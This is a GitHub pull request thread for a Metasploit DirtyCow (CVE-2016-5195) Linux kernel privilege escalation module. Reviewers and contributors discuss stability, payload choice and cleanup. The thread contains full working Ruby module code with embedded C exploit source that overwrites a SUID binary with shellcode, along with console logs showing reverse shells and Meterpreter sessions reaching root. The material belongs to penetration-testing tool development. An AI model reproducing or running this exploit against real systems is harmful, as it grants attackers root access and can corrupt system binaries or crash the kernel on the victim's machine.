Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2016-5195 - DirtyCow privilege escalation #7476

Closed
wants to merge 14 commits into from
Closed

CVE-2016-5195 - DirtyCow privilege escalation #7476

wants to merge 14 commits into from

Conversation

nixawk
Copy link
Contributor

@nixawk nixawk commented Oct 22, 2016

Tell us what this change does. If you're fixing a bug, please mention
the github issue number.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/linux/local/dirtycow
  • set SESSION 1
  • Verify the thing does what it should
  • Verify the thing does not do what it should not
msf exploit(dirtycow) > show options

Module options (exploit/linux/local/dirtycow):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION      6                yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory where we can write files (must not be mounted noexec)


Payload options (linux/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.101    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux x64


msf exploit(dirtycow) > set SESSION 7
SESSION => 7
msf exploit(dirtycow) > run

[*] Started reverse TCP handler on 192.168.1.101:4444
[*] Compiling /tmp/QSjHhucDLS.c via gcc
[*] Starting the payload handler...
[*] Executing at 2016-10-22 07:50:28 -0500.  May take up to 10min for callback
[*] Command shell session 8 opened (192.168.1.101:4444 -> 192.168.1.100:46051) at 2016-10-22 07:50:29 -0500

def initialize(info={})
super(update_info(info, {
'Name' => 'Linux Kernel DirtyCow Local Privilege Escation',
'Description' => %q{
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

no mention of which kernels are vulnerable

Copy link
Contributor Author

@nixawk nixawk Oct 22, 2016

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @h00die . https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails says

The bug has existed since around 2.6.22 (released in 2007)
  def check
    kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
    if kernel >= Gem::Version.new('2.6.22')
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end
  end

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this is scary , our college library uses some modified version of ubuntu called koha i think it is using this old kernal

modules/exploits/linux/local/dirtycow.rb Show resolved Hide resolved
write_file("#{evil_path}.c", main)
print_status("Compiling #{evil_path}.c via gcc")

output = cmd_exec("/usr/bin/gcc -pthread -o #{evil_path}.out #{evil_path}.c")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This makes the assumption gcc is installed and in that path. I'd put in a check to see if GCC is there or not, similar to https://github.com/rapid7/metasploit-framework/pull/7402/files#diff-97a861419258a173797265eb4a35a110R170

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please add a binary-dropping method as well. It's not ideal, but neither is shelling out to GCC, and you're already writing the source to disk. Preferably, you should have the option of either.

modules/exploits/linux/local/dirtycow.rb Show resolved Hide resolved
print_status('Starting the payload handler...')
handler({})

print_status("Executing at #{Time.now}. May take up to 10min for callback")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is 10min what you're seeing or was this just a copy/paste from another sploit?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It takes a minute or two on my test device, up to ten minutes sounds believable.

modules/exploits/linux/local/dirtycow.rb Show resolved Hide resolved
@h00die
Copy link
Contributor

h00die commented Oct 22, 2016

Its optional, but I'd love to see a md for documentation :)

modules/exploits/linux/local/dirtycow.rb Show resolved Hide resolved
[ 'Linux x64', { 'Arch' => ARCH_X86_64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 19 1026'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

2016?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CVE-2016-5195 definitely works on more than just x86/x64. I tested it on ARM and it worked fine.

[ 'Linux x64', { 'Arch' => ARCH_X86_64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 19 2016'
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You probably want this to avoid having to do setuid syscalls from a cmd shell:

'DefaultOptions' =>
    {
      'PrependSetresuid' => true,
      'PrependSetuid'    => true
    },

Copy link
Contributor Author

@nixawk nixawk Oct 23, 2016

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If DefaultOptions is set, the payload will crash.

@h00die
Copy link
Contributor

h00die commented Oct 22, 2016

For all people testing this, please let us know what you're having success against. @nixawk and @Manouchehri a sysinfo would be helpful, just so we can verify targets and not retest the sames ones. Will also help to start building up the markdown docs for it

@sempervictus
Copy link
Contributor

sempervictus commented Oct 22, 2016

Main issue in testing is that gcc is often not on the target.

I took a first pass at Metasm this evening, and got to -http://pastebin.com/T8Xa1KgT
That method just creates the needed C code, doesn't actually get the target binary size yet (stubbed in from u14.04). Metasm seems to believe that there are bad relocations here:

RuntimeError: Unresolved relocations:
pthread_create-3c6h "\"C compiler output\"" line 142
pthread_create-3e5h "\"C compiler output\"" line 151
pthread_join-3f5h "\"C compiler output\"" line 155
pthread_join-405h "\"C compiler output\"" line 159

If anyone wants to pick up at that method, please feel free, not sure how much time i'll have tomorrow/today.

EDIT 2:

Also seeing this crash on occasion when using this version of the exploit C code - http://pastebin.com/GdJ6ki31. Looks like mpage_prepare_extent_to_map doesnt like the race...

@kthemis
Copy link

kthemis commented Oct 23, 2016

I am sorry,but there is always an error : "Exploit failed: Msf::OptionValidateError The following options failed to validate: SESSION."

print_status('Starting the payload handler...')
handler({})

print_status("Executing at #{Time.now}.")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What is this for? Does WfsDelay not work for you?

@wvu
Copy link
Contributor

wvu commented Oct 23, 2016

@nixawk: The irony here is that I wrote my own module on Friday based on the same PoC, but I unassigned myself from the ticket because I was getting consistent crashes, and there were much better PoCs being released. I'm going to do my review here and then back out.

output = cmd_exec("chmod +x #{evil_path}.out; #{evil_path}.out")
output.each_line { |line| vprint_status(line.chomp) }

register_file_for_cleanup("#{evil_path}.c")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You should restore /usr/bin/passwd from /tmp/bak, then clean up /tmp/bak. Ideally, you should make the SUID binary and location of bak configurable.


char suid_binary[] = "/usr/bin/passwd";

SHELLCODE
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Curiously, you don't even need to do this if you have a watchdog checking for root. It's nice that the payload is within the PoC, though.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@wvu-r7 Sorry for my poor english. What's the meaning of the word watchdog ?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm slightly abusing the term here. In this case, it's a check for root that doesn't execute the payload if it times out. I've been able to get away without a loop, though, due to how cmd_exec works. YMMV.

@nixawk
Copy link
Contributor Author

nixawk commented Oct 23, 2016

@wvu-r7 When a root session is gained, OS hangs. The Poc code needs to be improved.

@nixawk
Copy link
Contributor Author

nixawk commented Oct 27, 2016

@wvu-r7 echo 0 > /proc/sys/vm/dirty_writeback_centisec actually works. Is there a way to run the command automatically when the root session is created.

@unixfox
Copy link

unixfox commented Oct 27, 2016

@nixawk This exploit does it : https://gist.github.com/joshuaskorich/86c90e12436c873e4a06bd64b461cc43

@nixawk
Copy link
Contributor Author

nixawk commented Oct 27, 2016

@wvu-r7 echo 0 > /proc/sys/vm/dirty_writeback_centisec actually works. Is there a way to run the command automatically when the root session is created.

@unixfox
Copy link

unixfox commented Oct 27, 2016

Remember that some systems doesn't allow to write on /proc/self/mem but using PTRACE_POKEDATA it actually works.

@fadiserhan
Copy link

This sploit https://gist.github.com/joshuaskorich/86c90e12436c873e4a06bd64b461cc43 works well and stable, no freezing on:
Linux home 4.2.0-42-generic #49-Ubuntu SMP Tue Jun 28 21:26:26 UTC 2016 x86_64 x86_64 x86_64
Description: Ubuntu 15.10 Release: 15.10 Codename: wily

You need proper casting and preventing filesystem callbacks:
lseek(f,(__off_t)map,SEEK_SET);
echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash

@wvu
Copy link
Contributor

wvu commented Oct 27, 2016

That's embedded within the shellcode, though, and the module here inserts its own shellcode. You'll want to use something like on_new_session and shell_command_token, @nixawk.

@wvu wvu self-assigned this Oct 28, 2016
@nixawk
Copy link
Contributor Author

nixawk commented Oct 28, 2016

Thanks @wvu-r7 . It works.

X64 Lab

Ubuntu 10.04 LTS x64

msf exploit(dirtycow) > show options

Module options (exploit/linux/local/dirtycow):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION      1                yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory where we can write files (must not be mounted noexec)


Payload options (linux/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.100    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux x64


msf exploit(dirtycow) > run

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Compiling /tmp/qfUkGHLKox.c via gcc
[*] Executing at 2016-10-28 01:31:39 -0500.
[*] Command shell session 2 opened (192.168.1.100:4444 -> 192.168.1.106:54528) at 2016-10-28 01:31:40 -0500
id
[!] This exploit may require manual cleanup of '/tmp/qfUkGHLKox.c' on the target
[!] This exploit may require manual cleanup of '/tmp/qfUkGHLKox.out' on the target

1829423761
OmuXdMlaRoIwxyHonkBVArZEIUyAsGlv
HaGVfABgCWmdUxQVempNyOecCPkmjACj
uid=0(root) gid=1000(sec) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(sec)


Demo

msf exploit(dirtycow) > sessions -u 2
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [2]

[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.100:4433
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.1.106
[*] Command stager progress: 100.00% (668/668 bytes)
msf exploit(dirtycow) > [*] Meterpreter session 3 opened (192.168.1.100:4433 -> 192.168.1.106:59407) at 2016-10-28 01:34:40 -0500

msf exploit(dirtycow) > sess 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: uid=0, gid=1000, euid=0, egid=1000, suid=0, sgid=1000

@henshin
Copy link
Contributor

henshin commented Oct 28, 2016

the code still crashes on my VM. The code inside on_new_session(client) function is not being called in time or with the right privileges because the writeback value doesn't seem to change on the target system.
This might have something to do with the fact my VM is x86. Can someone else test this?

@nixawk
Copy link
Contributor Author

nixawk commented Oct 28, 2016

@henshin DirtyCow works against linux X86. payload/linux/x86/shell_reverse_tcp is more stable than payload/generic/shell_reverse_tcp.

X86 Lab

# uname -a
Linux sh 4.6.0-kali1-686-pae #1 SMP Debian 4.6.4-1kali1 (2016-07-21) i686 GNU/Linux
# cat /etc/issue
Kali GNU/Linux Rolling \n \l

Demo

msf exploit(dirtycow) > show options

Module options (exploit/linux/local/dirtycow):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION      1                yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory where we can write files (must not be mounted noexec)


Exploit target:

   Id  Name
   --  ----
   0   Linux x86


msf exploit(dirtycow) > run

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Compiling /tmp/YQIZRlIwrB.c via gcc
[*] Executing at 2016-10-28 08:40:07 -0500.
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.1.105
[*] Meterpreter session 2 opened (192.168.1.100:4444 -> 192.168.1.105:35606) at 2016-10-28 08:40:11 -0500
[!] This exploit may require manual cleanup of '/tmp/YQIZRlIwrB.c' on the target
[!] This exploit may require manual cleanup of '/tmp/YQIZRlIwrB.out' on the target

meterpreter > getuid
Server username: uid=0, gid=1001, euid=0, egid=1001, suid=0, sgid=1001
meterpreter > sysinfo
Computer     : sh
OS           : Linux sh 4.6.0-kali1-686-pae #1 SMP Debian 4.6.4-1kali1 (2016-07-21) (i686)
Architecture : i686
Meterpreter  : x86/linux

@henshin
Copy link
Contributor

henshin commented Oct 28, 2016

@nixawk yes, you're right. Stability depends on the payloads.
I was using linux/x86/meterpreter/reverse_tcp and it crashes the kernel all the time. Non-meterpreter payloads seem to be more stable. payload/linux/x86/shell_reverse_tcp also worked for me.
The exploit should limit the available payloads to only the stable ones.

@wvu
Copy link
Contributor

wvu commented Oct 28, 2016

Everyone, please don't use the Linux Meterpreter. It's really ill-advised. Development is focusing on Mettle now, and Linux (POSIX) Meterpreter will be going away in the future.

@firefart
Copy link
Contributor

@nixawk I was trying your exploit code locally and got an GCC error while compiling:

test.c:83: error: invalid use of undefined type ‘struct stat’

I fixed this by adding

#include <sys/stat.h>

and it compiled so you might want to add this include.

@wvu wvu added the blocked Blocked by one or more additional tasks label Nov 25, 2016
@r8z0r
Copy link

r8z0r commented Nov 30, 2016

Please help me

`msf exploit(dirtycow) > run

[] [2016.11.30-13:15:53] Started reverse TCP handler on 192.168.1.2:4444
[
] [2016.11.30-13:15:55] Compiling /tmp/yHkxVNMFWf.c via gcc
[] [2016.11.30-13:15:56] /tmp/yHkxVNMFWf.c: In function 'procselfmemThread':
[
] [2016.11.30-13:15:56] /tmp/yHkxVNMFWf.c:55: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
[] [2016.11.30-13:15:56] /usr/include/unistd.h:331: note: expected '__off_t' but argument is of type 'void '
[
] [2016.11.30-13:15:56] Executing at 2016-11-30 13:15:56 +0000.
[-] [2016.11.30-13:16:13] Exploit failed: Rex::TimeoutError Operation timed out.
[
] Exploit completed, but no session was created.
msf exploit(dirtycow) >
`

Can someone please tell me whats going on here

`msf exploit(dirtycow) > gcc --version
[*] exec: gcc --version

gcc (Debian/Linaro 4.4.7-2) 4.4.7
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
msf exploit(dirtycow) > g++ --version
[*] exec: g++ --version

g++ (Debian/Linaro 4.4.7-2) 4.4.7
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

msf exploit(dirtycow) >
`

Could really do with your help lads thank you.

@wvu wvu mentioned this pull request Dec 12, 2016
3 tasks
@nixawk
Copy link
Contributor Author

nixawk commented Jan 4, 2017

Thanks @firefart. Sorry for the delay. I'll check it later.

@wvu
Copy link
Contributor

wvu commented Jan 4, 2017

@nixawk: No worries. Take your time. Please entertain my outstanding comments, though. I want this one in the tree. Thank you!

@wwebb-r7
Copy link
Contributor

wwebb-r7 commented Mar 3, 2017

Closed due to lack of activity. If future work on this occurs, please submit a new PR and we'll start with a clean slate.

@wwebb-r7 wwebb-r7 closed this Mar 3, 2017
@bcoles
Copy link
Contributor

bcoles commented Apr 11, 2018

For those playing along at home, I cleaned this module up a bit (see below).

It's equally as flaky as it ever was - but now it's prettier :)

The module will not work with meterpreter payloads.

Using command shell payloads works, however the session dies shortly after.

The issues are most likely due to the way Metasploit handles executing commands on a new session with on_new_session.

This is also why, even though I've added register_file_for_cleanup, they're commented out.

Tested on Fedora 23 Server (x64) kernel 4.2.3-300.fc23.x86_64.

msf5 exploit(linux/local/dirtycow) > set verbose true
verbose => true
msf5 exploit(linux/local/dirtycow) > set payload
payload => linux/x86/shell_reverse_tcp
msf5 exploit(linux/local/dirtycow) > check

[!] SESSION may not be compatible with this module.
[+] Kernel version 4.2.3 appears to be vulnerable
[*]  The target appears to be vulnerable.
msf5 exploit(linux/local/dirtycow) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.188:4444 
[+] Kernel version 4.2.3 appears to be vulnerable
[*] Writing '/tmp/RjPBorRTMc.c' (2423 bytes) ...
[*] Max line length is 65537
[*] Writing 2423 bytes in 1 chunks of 8745 bytes (octal-encoded), using printf
[*] Compiling /tmp/RjPBorRTMc.c via gcc
[*] Executing payload at 2018-04-11 04:37:16 -0400...
[*] Command shell session 25 opened (172.16.191.188:4444 -> 172.16.191.224:53840) at 2018-04-11 04:37:17 -0400

id

uid=0(root) gid=1000(user) groups=1000(user),10(wheel) context=unconfined_u:unconfined_r:passwd_t:s0-s0:c0.c1023
uname -a
Linux localhost.localdomain 4.2.3-300.fc23.x86_64 #1 SMP Mon Oct 5 15:42:54 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
pwd
/home/user
echo any time now...
any time now...
echo the session should die...
the session should die...
date
Wed Apr 11 18:37:26 AEST 2018
date
... there we go








a;slofhgvgskldfhbgfdksolg;lsdkfh
^C
Abort session 25? [y/N]  y

[*] 172.16.191.224 - Command shell session 25 closed.  Reason: User exit
msf5 exploit(linux/local/dirtycow) > P.S. the system hung
[-] Unknown command: P.S..

Output from another run, demonstrating session longevity (~15 seconds):

[*] Executing payload at 2018-04-11 04:55:47 -0400...
[*] Command shell session 4 opened (172.16.191.188:4444 -> 172.16.191.224:49510) at 2018-04-11 04:55:49 -0400
id
date

uid=0(root) gid=1000(user) groups=1000(user),10(wheel) context=unconfined_u:unconfined_r:passwd_t:s0-s0:c0.c1023
Wed Apr 11 18:55:40 AEST 2018
date
Wed Apr 11 18:55:53 AEST 2018
date
Wed Apr 11 18:55:54 AEST 2018
date
Wed Apr 11 18:55:54 AEST 2018
date
Wed Apr 11 18:55:55 AEST 2018
date
Wed Apr 11 18:55:56 AEST 2018
date
Wed Apr 11 18:55:57 AEST 2018
date
date
date
date
^C
Abort session 4? [y/N]  y

[*] 172.16.191.224 - Command shell session 4 closed.  Reason: User exit

I lost interest and won't be making any additional progress.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Linux Kernel DirtyCow Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a race condition in the way the Linux kernel's
        memory subsystem handled the copy-on-write (COW) breakage of private
        read-only memory mappings. An unprivileged local user could use
        this flaw to gain write access to otherwise read-only memory mappings
        and thus increase their privileges on the system.

        The bug has existed since around Linux Kernel 2.6.22 (released in 2007).

        Note, failed exploitation attempts will likely crash the kernel.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'Phil Oester',  # Vulnerability Discovery
        'Robin Verton', # cowroot.c developer
        'Nixawk'        # original module developer
      ],
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'References'     =>
        [
          ['CVE', '2016-5195'],
          ['URL', 'https://dirtycow.ninja/'],
          ['URL', 'https://github.com/dirtycow/dirtycow.github.io/issues/25'],
          ['URL', 'https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails'],
          ['URL', 'https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs'],
          ['URL', 'https://access.redhat.com/security/cve/cve-2016-5195'],
          ['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619']
        ],
      'Targets'        =>
        [
          [ 'Linux x86', { 'Arch' => ARCH_X86 }],
          [ 'Linux x64', { 'Arch' => ARCH_X64 }]
        ],
      'DefaultOptions' =>
        {
          'PAYLOAD'          => 'linux/x86/shell_reverse_tcp',
          'PrependSetresuid' => true,
          'PrependSetuid'    => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 19 2016'))

    register_options([
      OptString.new('WritableDir', [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
      OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/usr/bin/passwd' ])
    ])
  end

  def base_dir
    datastore['WritableDir']
  end

  def suid_exe_path
    datastore['SUID_EXECUTABLE']
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    #register_file_for_cleanup path
  end

  def check
    version = Gem::Version.new kernel_release.split('-').first

    if version.to_s.eql? ''
      vprint_error 'Could not determine the kernel version'
      return CheckCode::Unknown
    end

    unless version >= Gem::Version.new('2.6.22')
      vprint_error "Kernel version #{version} is not vulnerable"
      return CheckCode::Safe
    end

    # This could use some improvement for 4.x kernel release parsing...
    if (version <= Gem::Version.new('4.4.26')) ||
       (version.to_s.start_with?('4.7.') && version < Gem::Version.new('4.7.9')) ||
       (version.to_s.start_with?('4.8.') && version < Gem::Version.new('4.8.3'))
      vprint_good "Kernel version #{version} appears to be vulnerable"
      return CheckCode::Appears
    end

    vprint_error "Kernel version #{version} may or may not be vulnerable"
    CheckCode::Unknown
  end

  def on_new_session(session)
    if session.type.to_s.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.sys.process.execute '/bin/sh', "-c \"echo 0 > /proc/sys/vm/dirty_writeback_centisecs\""
    elsif session.type.to_s.eql? 'shell'
      client.shell_command_token 'echo 0 > /proc/sys/vm/dirty_writeback_centisecs'
    end
  end

  def exploit
    if check == CheckCode::Safe
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    main = %q^
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1, pth2, pth3;

char suid_binary[] = "SUID_EXECUTABLE";

SHELLCODE

unsigned int shellcode_size = 0;


void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i, c=0;
  for(i=0; i<1000000 && !stop; i++) {
    c += madvise(map,100,MADV_DONTNEED);
  }
  printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
  char *str;
  str = (char*)arg;
  int f=open("/proc/self/mem",O_RDWR);
  int i, c=0;
  for(i=0; i<1000000 && !stop; i++) {
    lseek(f, map, SEEK_SET);
    c += write(f, str, shellcode_size);
  }
  printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
  char buf[shellcode_size];

  for(;;) {
    FILE *fp = fopen(suid_binary, "rb");

    fread(buf, shellcode_size, 1, fp);

    if(memcmp(buf, shellcode, shellcode_size) == 0) {
      printf("%s overwritten\n", suid_binary);
      break;
    }

    fclose(fp);
    sleep(1);
  }

  stop = 1;
  system(suid_binary);
}

int main(int argc, char *argv[]) {
  char *backup;

  asprintf(&backup, "cp %s /tmp/bak", suid_binary);
  system(backup);

  f = open(suid_binary,O_RDONLY);
  fstat(f,&st);

  char payload[st.st_size];
  memset(payload, 0x90, st.st_size);
  memcpy(payload, shellcode, shellcode_size+1);

  map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

  pthread_create(&pth1, NULL, &madviseThread, suid_binary);
  pthread_create(&pth2, NULL, &procselfmemThread, payload);
  pthread_create(&pth3, NULL, &waitForWrite, NULL);

  pthread_join(pth3, NULL);

  return 0;
}
^
    payload_file = generate_payload_exe
    main.gsub!(/SUID_EXECUTABLE/, suid_exe_path)
    main.gsub!(/SHELLCODE/) do
      # Split the payload into chunks and dump it out as a hex-escaped
      # literal C string.
      Rex::Text.to_c payload_file, 64, 'shellcode'
    end
    main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload_file.length}")

    evil_path = "#{base_dir}/#{Rex::Text.rand_text_alpha 8..12}"

    upload "#{evil_path}.c", main
    print_status "Compiling #{evil_path}.c via gcc"

    output = cmd_exec "/usr/bin/gcc -pthread -o #{evil_path}.out #{evil_path}.c"
    unless output.eql? ''
      print_error "Compilation failed: #{output}"
      return
    end
    #register_file_for_cleanup "#{evil_path}.out"

    print_status "Executing payload at #{Time.now}..."
    cmd_exec "chmod +x #{evil_path}.out"
    output = cmd_exec "#{evil_path}.out"
    output.each_line { |line| vprint_status line.chomp }
  end
end

@bcoles
Copy link
Contributor

bcoles commented Dec 21, 2018

I lost interest and won't be making any additional progress.

I'm back for another round.

The below exploit is reliable (at least on the single system I bothered to test), and supports both command shell sessions and meterpreter sessions, and both command shell payloads and meterpreter payloads, with two huge caveats:

  • It won't run if SELinux is Enforcing.
    • If you wanted to bypass this check, you could get root for about ~15 seconds before the kernel dies a firey death. SELinux prevents setting /proc/sys/vm/dirty_writeback_centisecs to 0, which is required to prevent aforementioned firey death.
  • It overwrites the specified SUID_EXECUTABLE (default: /usr/bin/passwd) without repair.
    • A backup is created (default: /tmp/.<rand>), but cannot be restored from within the exploit, as the specified SUID_EXECUTABLE is held open: Text file busy

This is a restriction with using the SUID executable technique; although could probably be worked around. Presumably, overwriting the specified SUID_EXECUTABLE with a root shell (rather than directly replacing it with a meterpreter/shell payload), then using the root shell to do the following, would be successful:

  • set /proc/sys/vm/dirty_writeback_centisecs to 0; then
  • chmod u+s /path/to/msf/payload; then
  • kill the root shell process; then
  • invoke our shiny new setuid root payload; then
  • restore the SUID_EXECUTABLE backup file in on_new_session

Enjoy:


msf5 exploit(linux/local/dirtycow_priv_esc) > set payload
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/local/dirtycow_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.188:4444 
[+] SELinux is permissive
[+] Kernel version 4.2.3 appears to be vulnerable
[*] Writing '/tmp/.ojtGYrqeVV.c' (3354 bytes) ...
[-] Compiling failed:
/tmp/.ojtGYrqeVV.c: In function 'procselfmemThread':
/tmp/.ojtGYrqeVV.c:68:14: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast [-Wint-conversion]
     lseek(f, map, SEEK_SET);
              ^
In file included from /tmp/.ojtGYrqeVV.c:8:0:
/usr/include/unistd.h:337:16: note: expected '__off_t {aka long int}' but argument is of type 'void *'
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
                ^
/tmp/.ojtGYrqeVV.c: In function 'main':
/tmp/.ojtGYrqeVV.c:98:3: warning: implicit declaration of function 'asprintf' [-Wimplicit-function-declaration]
   asprintf(&backup, "cp %s /tmp/.TuOARzxhSgA", suid_binary);
   ^
/tmp/.ojtGYrqeVV.c:102:3: warning: implicit declaration of function 'fstat' [-Wimplicit-function-declaration]
   fstat(f,&st);
   ^
[*] Launching exploit...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (861348 bytes) to 172.16.191.224
[*] Meterpreter session 39 opened (172.16.191.188:4444 -> 172.16.191.224:48768) at 2018-12-21 12:39:25 -0500

meterpreter > 
[*] Setting '/proc/sys/vm/dirty_writeback_centisecs' to '0'...

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Fedora 23 (Linux 4.2.3-300.fc23.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > shell
Process 2239 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),10(wheel),1000(user) context=unconfined_u:unconfined_r:passwd_t:s0-s0:c0.c1023
uname -a
Linux localhost.localdomain 4.2.3-300.fc23.x86_64 #1 SMP Mon Oct 5 15:42:54 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Linux Kernel DirtyCow Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a race condition in the way the Linux kernel's
        memory subsystem handled the copy-on-write (COW) breakage of private
        read-only memory mappings. An unprivileged local user could use
        this flaw to gain write access to otherwise read-only memory mappings
        and thus increase their privileges on the system.

        The bug has existed since around Linux Kernel 2.6.22 (released in 2007).

        Note, failed exploitation attempts will likely crash the kernel.

        Successful explotiation will replace the specified setuid binary.

        This module has been tested successfully on:

        Fedora 23 Server kernel 4.2.3-300.fc23.x86_64 (X64)
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'Phil Oester',  # Vulnerability discovery
        'Robin Verton', # cowroot.c exploit
        'Nixawk',       # Metasploit
        'bcoles',       # Metasploit
      ],
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'References'     =>
        [
          ['CVE', '2016-5195'],
          ['URL', 'https://dirtycow.ninja/'],
          ['URL', 'https://github.com/dirtycow/dirtycow.github.io/issues/25'],
